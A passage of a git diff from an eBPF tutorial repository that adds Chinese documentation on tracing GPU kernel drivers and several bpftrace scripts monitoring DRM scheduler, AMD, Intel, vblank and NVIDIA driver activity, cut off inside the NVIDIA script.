对象等价物。格式:`bo=0xffff888... pages=256 type=2 preferred=4 allowed=7 visible=1` 分配 1MB(256 页)。类型表示 VRAM 与 GTT(GPU 可访问的系统内存)。首选/允许域显示放置策略。请求 VRAM 但使用 GTT 的类型不匹配表示 VRAM 耗尽。可见标志表示 CPU 可访问的内存,这很昂贵,应谨慎使用。 + +amdgpu_bo_move 在缓冲对象在 VRAM 和 GTT 之间迁移时触发。迁移代价昂贵,因为需要通过 PCIe 复制数据。过度的移动表示内存抖动,即工作集超过 VRAM 容量。测量移动频率和大小以量化 PCIe 带宽消耗。与性能下降关联,因为迁移会停止 GPU 执行。 + +amdgpu_iv 捕获 GPU 中断。GPU 为完成的工作、错误和事件发出中断信号。格式:`ih:0 client_id:1 src_id:42 ring:0 vmid:5 timestamp:1234567890 pasid:100 src_data: 00000001...` 捕获中断详细信息。源 ID 表示中断类型(完成、故障、热)。高中断率影响 CPU 性能。VMID 和 PASID 识别哪个进程/VM 触发了中断,这对于多租户调试至关重要。 + +## DRM Vblank 跟踪点:显示同步 + +Vblank(垂直消隐)事件将渲染与显示刷新同步。错过 vblank 会导致丢帧和卡顿。 + +**drm_vblank_event** 在显示进入垂直消隐期时触发。格式:`crtc=0 seq=12345 time=1234567890 high-prec=true` 表示显示控制器 0 上的 vblank,序列号 12345。跟踪 vblank 频率以验证刷新率(60Hz = 60 vblanks/秒)。错过的序列表示丢帧。高精度时间戳启用亚毫秒帧时序分析。 + +**drm_vblank_event_queued** 和 **drm_vblank_event_delivered** 跟踪 vblank 事件传递到用户空间。排队延迟(队列到传递)测量内核调度延迟。总延迟(vblank 到传递)包括内核和驱动处理。超过 1ms 的延迟表示合成器问题。与用户可见的丢帧关联 - 延迟传递的事件意味着错过的帧。 + +## NVIDIA 专有驱动:不同的架构 + +与使用内核直接渲染管理器(DRM)子系统的 Intel、AMD 和 Nouveau 不同,**NVIDIA 的专有驱动(nvidia.ko)在 DRM 之外运行**。它实现了自己的内核模块接口,带有供应商特定的函数和单个跟踪点。这种架构差异意味着 NVIDIA GPU 需要不同的监控方法 - 我们附加到 nvidia.ko 函数的内核探针,而不是 DRM 跟踪点。 + +关键区别:DRM 驱动暴露标准化的 `gpu_scheduler` 跟踪点,在供应商之间工作完全相同。NVIDIA 的闭源驱动只提供一个跟踪点(`nvidia:nvidia_dev_xid` 用于硬件错误),需要监控内部内核函数如 `nvidia_open`、`nvidia_unlocked_ioctl` 和 `nvidia_isr`。这使得 NVIDIA 监控更脆弱 - 函数名称可能在驱动版本之间改变 - 但仍然提供有价值的 GPU 活动洞察。 + +### NVIDIA 驱动监控:nvidia_driver.bt + +`nvidia_driver.bt` 脚本通过对专有驱动的内核探针跟踪 NVIDIA GPU 操作。与供应商中立的 DRM 调度器监控不同,此脚本是 NVIDIA 特定的,需要加载专有 nvidia.ko 模块。完整源代码可在 `scripts/nvidia_driver.bt` 中找到。 + +**关键脚本特性:** + +脚本附加 18 个内核探针以监控: +- **设备操作**:open、close、ioctl(采样 1% 以降低开销) +- **内存管理**:mmap、页故障、VMA 操作 +- **中断处理**:ISR、MSI-X、下半部处理程序及延迟直方图 +- **P2P 通信**:GPU 到 GPU 的页面请求和 DMA 映射 +- **电源管理**:挂起/恢复周期及持续时间跟踪 +- **错误报告**:通过 `nvidia:nvidia_dev_xid` 跟踪点报告 Xid 硬件/驱动错误 + +**运行 NVIDIA 驱动监视器** + +验证 NVIDIA 驱动已加载并检查可用探针: + +```bash +# 检查 NVIDIA 驱动模块 +lsmod | grep nvidia + +# 列出可用的 NVIDIA 探针 +sudo bpftrace -l 'kprobe:nvidia_*' | head -20 +sudo bpftrace -l 'tracepoint:nvidia:*' +``` + +在 GPU 工作负载期间运行监视器: + +```bash +cd bpf-developer-tutorial/src/xpu/gpu-kernel-driver +sudo bpftrace scripts/nvidia_driver.bt +``` + +**真实执行输出**(捕获 llama-server(LLM 推理)、nvtop(GPU 监控)和 CUDA 应用清理): + +``` +Attaching 18 probes... +Tracing NVIDIA GPU driver activity... Hit Ctrl-C to end. +TIME(ms) EVENT COMM PID GPU_ID DETAILS +2627 IOCTL nvtop 759434 - cmd=0xc020462a +38984 CLOSE python 783815 - GPU device closed +70693 CLOSE cuda00001400006 781802 - GPU device closed +72427 OPEN llama-server 800150 - GPU device opened +72427 CLOSE llama-server 800150 - GPU device closed +72427 OPEN llama-server 800150 - GPU device opened +72428 OPEN llama-server 800150 - GPU device opened +72431 MMAP llama-server 800150 - offset=0xffff968357d37140 size=... +72448 OPEN llama-server 800150 - GPU device opened +... (在初始化期间 llama-server 的 39 次 open,26 次 mmap) + +======================================== + NVIDIA GPU Driver Statistics +======================================== + +--- Device Operations --- +Opens by process: +@opens[llama-server]: 39 + +Closes by process: +@closes[llama-server]: 1 +@closes[python]: 8 +@closes[cuda00001400006]: 38 + +Total ioctls: +@ioctl_count: 2779 +Top ioctl callers: +@ioctls_per_process[llama-server]: 422 +@ioctls_per_process[nvtop]: 2357 + +Total mmaps: +@mmap_count: 26 + +--- Async Operations --- +Poll calls: +@poll_count: 24254 + +Currently open PIDs: +@open_pids[800150]: 1 +``` + +**分析**:这个真实世界的跟踪揭示了几个模式。llama-server 进程在初始化期间打开了 GPU 设备 39 次 - 对于为不同模型层或批处理策略初始化多个 CUDA 上下文的 LLM 推理引擎来说很典型。来自 llama-server 的 422 次 ioctl 表示活跃的推理工作。nvtop 监控工具发出了 2,357 次 ioctl 轮询 GPU 状态。脚本捕获了来自终止 CUDA 应用(cuda00001400006)的 38 次设备关闭和来自 Python 进程的 8 次 - 显示清理模式。24,254 次轮询调用表示来自监控工具的高异步 I/O 活动。零页故障表明所有内存都已正确预分配。零 Xid 错误意味着硬件运行正常。当前打开的 PID 800150(llama-server)在跟踪结束后仍保持活动状态。 + +## 运行监控脚本 + +导航到教程目录并根据你的 GPU 运行适当的监视器。 + +**对于基于 DRM 的 GPU(Intel、AMD、Nouveau)** - 通用监控: + +```bash +cd bpf-developer-tutorial/src/xpu/gpu-kernel-driver +sudo bpftrace scripts/drm_scheduler.bt +``` + +**对于 NVIDIA 专有驱动**: + +```bash +cd bpf-developer-tutorial/src/xpu/gpu-kernel-driver +sudo bpftrace scripts/nvidia_driver.bt +``` + +预期输出: + +``` +Tracing DRM GPU scheduler... Hit Ctrl-C to end. +TIME(ms) EVENT JOB_ID RING QUEUED DETAILS +296119090 RUN 12345 gfx 5 hw=2 +296120190 COMPLETE 0xffff888... + +=== DRM Scheduler Statistics === + +Jobs per ring: +@jobs_per_ring[gfx]: 1523 +@jobs_per_ring[compute]: 89 + +Waits per ring: +@waits_per_ring[gfx]: 12 +``` + +图形作业占主导地位(1523 对 89 个计算作业)。很少的依赖等待(12)表示良好的管道并行性。对于 Intel GPU,使用 `intel_i915.bt`。对于 AMD GPU,使用 `amd_amdgpu.bt`。对于显示时序,使用 `drm_vblank.bt`。在 GPU 工作负载(游戏、ML 训练、视频编码)期间运行这些脚本以捕获活动模式。 + +在运行脚本之前验证跟踪点存在于你的系统上: + +```bash +# 所有 GPU 跟踪点 +sudo cat /sys/kernel/debug/tracing/available_events | grep -E '(gpu_scheduler|i915|amdgpu|^drm:)' +``` + +## 局限性:内核追踪 vs GPU 侧可观测性 + +本教程主要关注内核侧的 GPU 驱动追踪,这为我们提供了作业调度、内存管理和驱动-固件通信的可见性。然而,内核跟踪点存在根本性的局限。当 `drm_run_job` 触发时,我们知道作业开始在 GPU 硬件上执行,但无法观察到 GPU 内部实际发生了什么。成千上万个并行线程的执行、它们的内存访问模式、分支分化、warp 占用率和指令级行为都是不可见的。这些细节对于理解性能瓶颈至关重要 - 内存合并是否失败、线程分化是否降低了效率,或者共享内存 bank 冲突是否导致执行停顿。 + +要实现细粒度的 GPU 可观测性,eBPF 程序必须直接在 GPU 上运行。这正是 eGPU 论文和 [bpftime GPU 示例](https://github.com/eunomia-bpf/bpftime/tree/master/example/gpu)所探索的方向。bpftime 将 eBPF 字节码转换为 GPU 可以执行的 PTX 指令,然后在运行时动态修补 CUDA 二进制文件,将这些 eBPF 程序注入到内核入口/出口点。这使得开发者可以观察 GPU 特有的信息,如块索引、线程索引、全局计时器和 warp 级指标。开发者可以在 GPU 内核的关键路径上进行插桩,测量执行行为并诊断内核侧追踪无法触及的复杂性能问题。这种 GPU 内部的可观测性与内核跟踪点互补 - 它们一起提供了从 API 调用通过内核驱动到 GPU 执行的端到端可见性。 + +## 总结 + +GPU 内核跟踪点提供零开销的驱动内部可见性。DRM 调度器的稳定 uAPI 跟踪点跨所有供应商工作,适合生产监控。供应商特定跟踪点暴露详细的内存管理和命令提交管道。bpftrace 脚本演示了跟踪作业调度、测量延迟和识别依赖停顿 - 所有这些对于诊断游戏、ML 训练和云 GPU 工作负载中的性能问题都至关重要。对于超越内核追踪的 GPU 内部可观测性,请探索 bpftime 的 GPU eBPF 能力。 + +> 如果你想深入了解 eBPF,请查看我们的教程仓库 或访问我们的网站 。 + +## 参考资料 + +- **Linux 内核源码**: `/drivers/gpu/drm/` +- **DRM 调度器**: `/drivers/gpu/drm/scheduler/gpu_scheduler_trace.h` +- **Intel i915**: `/drivers/gpu/drm/i915/i915_trace.h` +- **AMD AMDGPU**: `/drivers/gpu/drm/amd/amdgpu/amdgpu_trace.h` +- **通用 DRM**: `/drivers/gpu/drm/drm_trace.h` +- **内核跟踪点文档**: `Documentation/trace/tracepoints.rst` +- **教程仓库**: + +完整的源代码包括所有 bpftrace 脚本和测试用例可在教程仓库中获得。欢迎贡献和问题报告! diff --git a/src/xpu/gpu-kernel-driver/scripts/amd_amdgpu.bt b/src/xpu/gpu-kernel-driver/scripts/amd_amdgpu.bt new file mode 100644 index 00000000..e9fb61cd --- /dev/null +++ b/src/xpu/gpu-kernel-driver/scripts/amd_amdgpu.bt @@ -0,0 +1,263 @@ +#!/usr/bin/env bpftrace +/* + * amd_amdgpu.bt - Monitor AMD GPU activity + * + * Tracks AMD GPU operations: + * - Buffer object creation and movement + * - Command submission (ioctl → scheduler) + * - GPU interrupts + * - Virtual memory operations + * - Register access (optional, very verbose) + * + * Usage: sudo bpftrace amd_amdgpu.bt + * Usage (with register tracing): sudo bpftrace amd_amdgpu.bt --unsafe -c 'TRACE_REGS=1' + */ + +BEGIN +{ + printf("Tracing AMD GPU... Hit Ctrl-C to end.\n"); + printf("%-18s %-14s %-16s %-12s %s\n", + "TIME(ms)", "EVENT", "ID/OBJECT", "RING/SIZE", "DETAILS"); + + @total_alloc = 0; + @trace_regs = 0; /* Set to 1 to enable register tracing */ +} + +/* Buffer object creation */ +tracepoint:amdgpu:amdgpu_bo_create +{ + $bo = args->bo; + $pages = args->pages; + $type = args->type; + $size = $pages * 4096; + + @total_alloc += $size; + @allocs[$bo] = $size; + + printf("%-18llu %-14s 0x%-14llx %-12llu pages=%u type=%u\n", + nsecs / 1000000, + "BO_CREATE", + $bo, + $size, + $pages, + $type); + + @bo_creates = count(); +} + +/* Buffer object move (VRAM ↔ GTT migration) */ +tracepoint:amdgpu:amdgpu_bo_move +{ + $bo = args->bo; + $size = @allocs[$bo]; + + printf("%-18llu %-14s 0x%-14llx %-12llu (migration)\n", + nsecs / 1000000, + "BO_MOVE", + $bo, + $size); + + @bo_moves = count(); +} + +/* Command submission ioctl from userspace */ +tracepoint:amdgpu:amdgpu_cs_ioctl +{ + $job_id = args->sched_job_id; + $ring = str(args->ring_name); + $seqno = args->seqno; + $num_ibs = args->num_ibs; + + /* Record submission time for latency calculation */ + @submit_time[$job_id] = nsecs; + + printf("%-18llu %-14s %-16llu %-12s seq=%u ibs=%u\n", + nsecs / 1000000, + "CS_IOCTL", + $job_id, + $ring, + $seqno, + $num_ibs); + + @cs_ioctls = count(); + @cs_per_ring[$ring] = count(); +} + +/* Scheduler starts job execution */ +tracepoint:amdgpu:amdgpu_sched_run_job +{ + $job_id = args->sched_job_id; + $ring = str(args->ring_name); + $seqno = args->seqno; + + /* Calculate submission-to-execution latency */ + if (@submit_time[$job_id]) { + $latency_us = (nsecs - @submit_time[$job_id]) / 1000; + delete(@submit_time[$job_id]); + + printf("%-18llu %-14s %-16llu %-12s seq=%u latency=%lluus\n", + nsecs / 1000000, + "SCHED_RUN", + $job_id, + $ring, + $seqno, + $latency_us); + + /* Track latency statistics */ + @latency_hist = hist($latency_us); + @latency_sum += $latency_us; + @latency_count += 1; + } else { + printf("%-18llu %-14s %-16llu %-12s seq=%u\n", + nsecs / 1000000, + "SCHED_RUN", + $job_id, + $ring, + $seqno); + } + + @sched_runs = count(); +} + +/* Command submission processing */ +tracepoint:amdgpu:amdgpu_cs +{ + $ring = args->ring; + $dw = args->dw; + $fences = args->fences; + + printf("%-18llu %-14s ring=%-11u %-12s dw=%u fences=%u\n", + nsecs / 1000000, + "CS_PROCESS", + $ring, + "-", + $dw, + $fences); + + @cs_process = count(); +} + +/* GPU interrupt */ +tracepoint:amdgpu:amdgpu_iv +{ + $ih = args->ih; + $client = args->client_id; + $src = args->src_id; + $ring = args->ring_id; + $vmid = args->vmid; + $pasid = args->pasid; + + printf("%-18llu %-14s ih=%u %-12s client=%u src=%u vmid=%u pasid=%u\n", + nsecs / 1000000, + "INTERRUPT", + $ih, + "-", + $client, + $src, + $vmid, + $pasid); + + @interrupts = count(); + @interrupts_by_src[$src] = count(); +} + +/* Virtual memory TLB flush */ +tracepoint:amdgpu:amdgpu_vm_flush +{ + printf("%-18llu %-14s %-16s %-12s\n", + nsecs / 1000000, + "VM_FLUSH", + "-", + "-"); + + @vm_flushes = count(); +} + +/* Virtual memory BO map */ +tracepoint:amdgpu:amdgpu_vm_bo_map +{ + printf("%-18llu %-14s %-16s %-12s\n", + nsecs / 1000000, + "VM_BO_MAP", + "-", + "-"); + + @vm_maps = count(); +} + +/* Virtual memory BO unmap */ +tracepoint:amdgpu:amdgpu_vm_bo_unmap +{ + printf("%-18llu %-14s %-16s %-12s\n", + nsecs / 1000000, + "VM_BO_UNMAP", + "-", + "-"); + + @vm_unmaps = count(); +} + +/* Register read (optional - very verbose!) */ +tracepoint:amdgpu:amdgpu_device_rreg +/@trace_regs/ +{ + $did = args->did; + $reg = args->reg; + $value = args->value; + + printf("%-18llu %-14s dev=0x%-11x %-12s reg=0x%x val=0x%x\n", + nsecs / 1000000, + "REG_READ", + $did, + "-", + $reg, + $value); +} + +/* Register write (optional - very verbose!) */ +tracepoint:amdgpu:amdgpu_device_wreg +/@trace_regs/ +{ + $did = args->did; + $reg = args->reg; + $value = args->value; + + printf("%-18llu %-14s dev=0x%-11x %-12s reg=0x%x val=0x%x\n", + nsecs / 1000000, + "REG_WRITE", + $did, + "-", + $reg, + $value); +} + +END +{ + printf("\n=== AMD GPU Statistics ===\n"); + printf("\nMemory:\n"); + printf(" Total allocated: %llu MB\n", @total_alloc / 1048576); + + if (@latency_count > 0) { + printf("\nSubmission Latency:\n"); + printf(" Average: %llu us\n", @latency_sum / @latency_count); + printf("\n Distribution (microseconds):\n"); + print(@latency_hist); + } + + printf("\nEvent counts:\n"); + print(@bo_creates); + print(@bo_moves); + print(@cs_ioctls); + print(@sched_runs); + print(@cs_process); + print(@interrupts); + print(@vm_flushes); + print(@vm_maps); + print(@vm_unmaps); + + printf("\nCommands per ring:\n"); + print(@cs_per_ring); + + printf("\nInterrupts by source:\n"); + print(@interrupts_by_src); +} diff --git a/src/xpu/gpu-kernel-driver/scripts/drm_scheduler.bt b/src/xpu/gpu-kernel-driver/scripts/drm_scheduler.bt new file mode 100644 index 00000000..4a7e0d8a --- /dev/null +++ b/src/xpu/gpu-kernel-driver/scripts/drm_scheduler.bt @@ -0,0 +1,84 @@ +#!/usr/bin/env bpftrace +/* + * drm_scheduler.bt - Monitor DRM GPU scheduler activity + * + * This script tracks GPU job scheduling using stable DRM scheduler tracepoints. + * Works across ALL modern GPU drivers (Intel i915, AMD AMDGPU, Nouveau, etc.) + * + * The gpu_scheduler tracepoints are stable uAPI - guaranteed not to change. + * + * Usage: sudo bpftrace drm_scheduler.bt + */ + +BEGIN +{ + printf("Tracing DRM GPU scheduler... Hit Ctrl-C to end.\n"); + printf("%-18s %-12s %-16s %-12s %-8s %s\n", + "TIME(ms)", "EVENT", "JOB_ID", "RING", "QUEUED", "DETAILS"); +} + +/* GPU job starts executing */ +tracepoint:gpu_scheduler:drm_run_job +{ + $job_id = args->id; + $ring = str(args->name); + $queue = args->job_count; + $hw_queue = args->hw_job_count; + + /* Record start time for latency calculation */ + @start[$job_id] = nsecs; + + printf("%-18llu %-12s %-16llu %-12s %-8u hw=%d\n", + nsecs / 1000000, + "RUN", + $job_id, + $ring, + $queue, + $hw_queue); + + /* Track per-ring statistics */ + @jobs_per_ring[$ring] = count(); +} + +/* GPU job completes (fence signaled) */ +tracepoint:gpu_scheduler:drm_sched_process_job +{ + $fence = args->fence; + + printf("%-18llu %-12s %-16p\n", + nsecs / 1000000, + "COMPLETE", + $fence); + + @completion_count = count(); +} + +/* Job waiting for dependencies */ +tracepoint:gpu_scheduler:drm_sched_job_wait_dep +{ + $job_id = args->id; + $ring = str(args->name); + $dep_ctx = args->ctx; + $dep_seq = args->seqno; + + printf("%-18llu %-12s %-16llu %-12s %-8s ctx=%llu seq=%u\n", + nsecs / 1000000, + "WAIT_DEP", + $job_id, + $ring, + "-", + $dep_ctx, + $dep_seq); + + @wait_count = count(); + @waits_per_ring[$ring] = count(); +} + +END +{ + printf("\n=== DRM Scheduler Statistics ===\n"); + printf("\nJobs per ring:\n"); + print(@jobs_per_ring); + printf("\nWaits per ring:\n"); + print(@waits_per_ring); +} diff --git a/src/xpu/gpu-kernel-driver/scripts/drm_vblank.bt b/src/xpu/gpu-kernel-driver/scripts/drm_vblank.bt new file mode 100644 index 00000000..e31a8623 --- /dev/null +++ b/src/xpu/gpu-kernel-driver/scripts/drm_vblank.bt @@ -0,0 +1,123 @@ +#!/usr/bin/env bpftrace +/* + * drm_vblank.bt - Monitor display vertical blanking events + * + * Tracks display synchronization using generic DRM vblank tracepoints. + * Works across all DRM drivers. + * + * Use cases: + * - Frame timing analysis + * - V-sync debugging + * - Compositor performance monitoring + * - Event delivery latency measurement + * + * Usage: sudo bpftrace drm_vblank.bt + */ + +BEGIN +{ + printf("Tracing DRM vblank events... Hit Ctrl-C to end.\n"); + printf("%-18s %-14s %-6s %-10s %s\n", + "TIME(ms)", "EVENT", "CRTC", "SEQUENCE", "DETAILS"); +} + +/* Vblank event occurs */ +tracepoint:drm:drm_vblank_event +{ + $crtc = args->crtc; + $seq = args->seq; + $time = args->time; + $high_prec = args->high_prec; + + printf("%-18llu %-14s %-6d %-10u %s\n", + nsecs / 1000000, + "VBLANK", + $crtc, + $seq, + $high_prec ? "high-prec" : ""); + + /* Track vblanks per CRTC */ + @vblanks = count(); + @vblanks_per_crtc[$crtc] = count(); + + /* Record sequence for latency tracking */ + @vblank_time[$crtc, $seq] = nsecs; +} + +/* Vblank event queued for delivery */ +tracepoint:drm:drm_vblank_event_queued +{ + $crtc = args->crtc; + $seq = args->seq; + + printf("%-18llu %-14s %-6d %-10u\n", + nsecs / 1000000, + "QUEUED", + $crtc, + $seq); + + @queued = count(); + @queue_time[$crtc, $seq] = nsecs; +} + +/* Vblank event delivered to userspace */ +tracepoint:drm:drm_vblank_event_delivered +{ + $crtc = args->crtc; + $seq = args->seq; + + /* Calculate delivery latency */ + if (@queue_time[$crtc, $seq]) { + $latency_us = (nsecs - @queue_time[$crtc, $seq]) / 1000; + delete(@queue_time[$crtc, $seq]); + + printf("%-18llu %-14s %-6d %-10u latency=%lluus\n", + nsecs / 1000000, + "DELIVERED", + $crtc, + $seq, + $latency_us); + + @delivery_latency = hist($latency_us); + @latency_sum += $latency_us; + @latency_count += 1; + } else { + printf("%-18llu %-14s %-6d %-10u\n", + nsecs / 1000000, + "DELIVERED", + $crtc, + $seq); + } + + @delivered = count(); + + /* Calculate total event latency (vblank to delivery) */ + if (@vblank_time[$crtc, $seq]) { + $total_latency_us = (nsecs - @vblank_time[$crtc, $seq]) / 1000; + delete(@vblank_time[$crtc, $seq]); + + @total_latency = hist($total_latency_us); + } +} + +END +{ + printf("\n=== DRM Vblank Statistics ===\n"); + + if (@latency_count > 0) { + printf("\nEvent Delivery Latency:\n"); + printf(" Average: %llu us\n", @latency_sum / @latency_count); + printf("\n Distribution (queue → delivery, microseconds):\n"); + print(@delivery_latency); + printf("\nTotal Event Latency (vblank → delivery, microseconds):\n"); + print(@total_latency); + } + + printf("\nEvent counts:\n"); + print(@vblanks); + print(@queued); + print(@delivered); + + printf("\nVblanks per CRTC:\n"); + print(@vblanks_per_crtc); +} diff --git a/src/xpu/gpu-kernel-driver/scripts/intel_i915.bt b/src/xpu/gpu-kernel-driver/scripts/intel_i915.bt new file mode 100644 index 00000000..8b9c3532 --- /dev/null +++ b/src/xpu/gpu-kernel-driver/scripts/intel_i915.bt @@ -0,0 +1,195 @@ +#!/usr/bin/env bpftrace +/* + * intel_i915.bt - Monitor Intel i915 GPU activity + * + * Tracks Intel GPU operations: + * - GEM object creation and memory allocations + * - VMA binding/unbinding (GPU address space) + * - I/O operations (pread/pwrite) + * - Page faults + * - Memory pressure (shrink/evict) + * + * Requires: CONFIG_DRM_I915_LOW_LEVEL_TRACEPOINTS=y + * + * Usage: sudo bpftrace intel_i915.bt + */ + +BEGIN +{ + printf("Tracing Intel i915 GPU... Hit Ctrl-C to end.\n"); + printf("%-18s %-12s %-18s %-12s %s\n", + "TIME(ms)", "EVENT", "OBJECT", "SIZE/OFFSET", "DETAILS"); + + @total_alloc = 0; +} + +/* GEM object creation */ +tracepoint:i915:i915_gem_object_create +{ + $obj = args->obj; + $size = args->size; + + @total_alloc += $size; + @allocs[$obj] = $size; + + printf("%-18llu %-12s 0x%-16llx %-12llu total=%llu MB\n", + nsecs / 1000000, + "GEM_CREATE", + $obj, + $size, + @total_alloc / 1048576); + + @gem_creates = count(); +} + +/* VMA bind to GPU address space */ +tracepoint:i915:i915_vma_bind +{ + $obj = args->obj; + $offset = args->offset; + $size = args->size; + $flags = args->flags; + + printf("%-18llu %-12s 0x%-16llx 0x%-10llx size=%llu flags=0x%x\n", + nsecs / 1000000, + "VMA_BIND", + $obj, + $offset, + $size, + $flags); + + @vma_binds = count(); +} + +/* VMA unbind from GPU address space */ +tracepoint:i915:i915_vma_unbind +{ + $obj = args->obj; + $offset = args->offset; + $size = args->size; + + printf("%-18llu %-12s 0x%-16llx 0x%-10llx size=%llu\n", + nsecs / 1000000, + "VMA_UNBIND", + $obj, + $offset, + $size); + + @vma_unbinds = count(); +} + +/* Memory shrink (reclaim under pressure) */ +tracepoint:i915:i915_gem_shrink +{ + $target = args->target; + $flags = args->flags; + + printf("%-18llu %-12s %-18s %-12llu flags=0x%x\n", + nsecs / 1000000, + "SHRINK", + "-", + $target, + $flags); + + @shrinks = count(); + @shrink_bytes += $target; +} + +/* GPU object eviction */ +tracepoint:i915:i915_gem_evict +{ + $size = args->size; + $align = args->align; + $flags = args->flags; + + printf("%-18llu %-12s %-18s %-12llu align=%llu flags=0x%x\n", + nsecs / 1000000, + "EVICT", + "-", + $size, + $align, + $flags); + + @evictions = count(); +} + +/* Userspace writes to GEM object */ +tracepoint:i915:i915_gem_object_pwrite +{ + $obj = args->obj; + $offset = args->offset; + $len = args->len; + + printf("%-18llu %-12s 0x%-16llx 0x%-10llx len=%llu\n", + nsecs / 1000000, + "PWRITE", + $obj, + $offset, + $len); + + @pwrites = count(); + @pwrite_bytes += $len; +} + +/* Userspace reads from GEM object */ +tracepoint:i915:i915_gem_object_pread +{ + $obj = args->obj; + $offset = args->offset; + $len = args->len; + + printf("%-18llu %-12s 0x%-16llx 0x%-10llx len=%llu\n", + nsecs / 1000000, + "PREAD", + $obj, + $offset, + $len); + + @preads = count(); + @pread_bytes += $len; +} + +/* GPU page fault */ +tracepoint:i915:i915_gem_object_fault +{ + $obj = args->obj; + $index = args->index; + $gtt = args->gtt; + $write = args->write; + + printf("%-18llu %-12s 0x%-16llx %-12llu %s %s\n", + nsecs / 1000000, + "FAULT", + $obj, + $index, + $gtt ? "GTT" : "CPU", + $write ? "WRITE" : "READ"); + + @faults = count(); + if ($write) { + @write_faults = count(); + } else { + @read_faults = count(); + } +} + +END +{ + printf("\n=== Intel i915 GPU Statistics ===\n"); + printf("\nMemory:\n"); + printf(" Total allocated: %llu MB\n", @total_alloc / 1048576); + printf(" Bytes shrunk: %llu MB\n", @shrink_bytes / 1048576); + printf(" Bytes written: %llu MB\n", @pwrite_bytes / 1048576); + printf(" Bytes read: %llu MB\n", @pread_bytes / 1048576); + printf("\nEvent counts:\n"); + print(@gem_creates); + print(@vma_binds); + print(@vma_unbinds); + print(@shrinks); + print(@evictions); + print(@pwrites); + print(@preads); + print(@faults); + print(@write_faults); + print(@read_faults); +} diff --git a/src/xpu/gpu-kernel-driver/scripts/nvidia_driver.bt b/src/xpu/gpu-kernel-driver/scripts/nvidia_driver.bt new file mode 100755 index 00000000..4cd14d2a --- /dev/null +++ b/src/xpu/gpu-kernel-driver/scripts/nvidia_driver.bt @@ -0,0 +1,331 @@ +#!/usr/bin/env bpftrace +/* + * nvidia_driver.bt - Monitor NVIDIA proprietary GPU driver activity + * + * This script tracks NVIDIA GPU operations using kernel probes on the + * proprietary nvidia.ko driver. Unlike DRM drivers, NVIDIA uses its own + * kernel interface with vendor-specific tracepoints and functions. + * + * Key monitoring areas: + * - GPU operations (open/close/ioctl/mmap) + * - Interrupt handling (ISR activity) + * - Memory management (page faults) + * - P2P transfers (GPU-to-GPU communication) + * - Error reporting (Xid errors) + * - Power management (suspend/resume) + * + * Usage: sudo bpftrace nvidia_driver.bt + */ + +BEGIN +{ + printf("Tracing NVIDIA GPU driver activity... Hit Ctrl-C to end.\n"); + printf("%-12s %-18s %-16s %-8s %-8s %-20s\n", + "TIME(ms)", "EVENT", "COMM", "PID", "GPU_ID", "DETAILS"); +} + +/* ========== GPU Device Operations ========== */ + +/* GPU device opened by application */ +kprobe:nvidia_open +{ + printf("%-12llu %-18s %-16s %-8d %-8s %s\n", + elapsed / 1000000, + "OPEN", + comm, + pid, + "-", + "GPU device opened"); + + @opens[comm] = count(); + @open_pids[pid] = 1; +} + +/* GPU device closed */ +kprobe:nvidia_close +{ + printf("%-12llu %-18s %-16s %-8d %-8s %s\n", + elapsed / 1000000, + "CLOSE", + comm, + pid, + "-", + "GPU device closed"); + + @closes[comm] = count(); + delete(@open_pids[pid]); +} + +/* ioctl commands to GPU (most frequent operation) */ +kprobe:nvidia_unlocked_ioctl +{ + @ioctl_count = count(); + @ioctls_per_process[comm] = count(); + + /* Sample only 1% to reduce overhead */ + if (rand % 100 == 0) { + printf("%-12llu %-18s %-16s %-8d %-8s cmd=0x%lx\n", + elapsed / 1000000, + "IOCTL", + comm, + pid, + "-", + arg1); + } +} + +/* Memory mapping operations */ +kprobe:nvidia_mmap +{ + $offset = arg1; + $size = arg2; + + printf("%-12llu %-18s %-16s %-8d %-8s offset=0x%lx size=%lu\n", + elapsed / 1000000, + "MMAP", + comm, + pid, + "-", + $offset, + $size); + + @mmap_count = count(); + @total_mmap_bytes = sum($size); +} + +/* GPU page faults (when GPU or CPU accesses unmapped memory) */ +kprobe:nvidia_fault +{ + $address = arg1; + + printf("%-12llu %-18s %-16s %-8d %-8s addr=0x%lx\n", + elapsed / 1000000, + "PAGE_FAULT", + comm, + pid, + "-", + $address); + + @fault_count = count(); + @faults_per_process[comm] = count(); +} + +/* ========== Interrupt Handling ========== */ + +/* GPU interrupt handler (high frequency event) */ +kprobe:nvidia_isr +{ + @isr_count = count(); + @last_isr_time = nsecs; +} + +/* MSI-X interrupt handler (modern GPUs) */ +kprobe:nvidia_isr_msix +{ + @isr_msix_count = count(); +} + +/* Bottom-half interrupt handler (actual work processing) */ +kprobe:nvidia_isr_kthread_bh +{ + @isr_bh_count = count(); + + /* Calculate ISR latency if we have last ISR time */ + if (@last_isr_time > 0) { + $latency_us = (nsecs - @last_isr_time) / 1000; + @isr_latency_us = hist($latency_us); + } +} + +/* ========== P2P GPU-to-GPU Communication ========== */ + +/* P2P memory pages requested (for GPU-GPU transfers) */ +kprobe:nvidia_p2p_get_pages +{ + $offset = arg1; + $size = arg2; + + printf("%-12llu %-18s %-16s %-8d %-8s offset=0x%lx entries=%lu\n", + elapsed / 1000000, + "P2P_GET_PAGES", + comm, + pid, + "-", + $offset, + $size); + + @p2p_get_count = count(); +} + +/* P2P DMA mapping for direct GPU-GPU transfers */ +kprobe:nvidia_p2p_dma_map_pages +{ + printf("%-12llu %-18s %-16s %-8d %-8s %s\n", + elapsed / 1000000, + "P2P_DMA_MAP", + comm, + pid, + "-", + "DMA mapping for P2P"); + + @p2p_dma_map_count = count(); +} + +/* ========== Power Management ========== */ + +/* GPU entering suspend */ +kprobe:nvidia_suspend +{ + printf("%-12llu %-18s %-16s %-8d %-8s %s\n", + elapsed / 1000000, + "SUSPEND", + comm, + pid, + "-", + "GPU suspending"); + + @suspend_count = count(); + @suspend_start = nsecs; +} + +/* GPU resuming from suspend */ +kprobe:nvidia_resume +{ + printf("%-12llu %-18s %-16s %-8d %-8s %s\n", + elapsed / 1000000, + "RESUME", + comm, + pid, + "-", + "GPU resuming"); + + @resume_count = count(); + + /* Calculate suspend duration if we tracked suspend start */ + if (@suspend_start > 0) { + $suspend_duration_ms = (nsecs - @suspend_start) / 1000000; + printf(" └─ Suspend duration: %llu ms\n", $suspend_duration_ms); + @suspend_duration_ms = hist($suspend_duration_ms); + @suspend_start = 0; + } +} + +/* ========== Error Reporting ========== */ + +/* NVIDIA Xid errors (hardware/driver errors) */ +tracepoint:nvidia:nvidia_dev_xid +{ + $dev = str(args->dev); + $xid = args->error_code; + $msg = str(args->msg); + + printf("\n!!! GPU ERROR 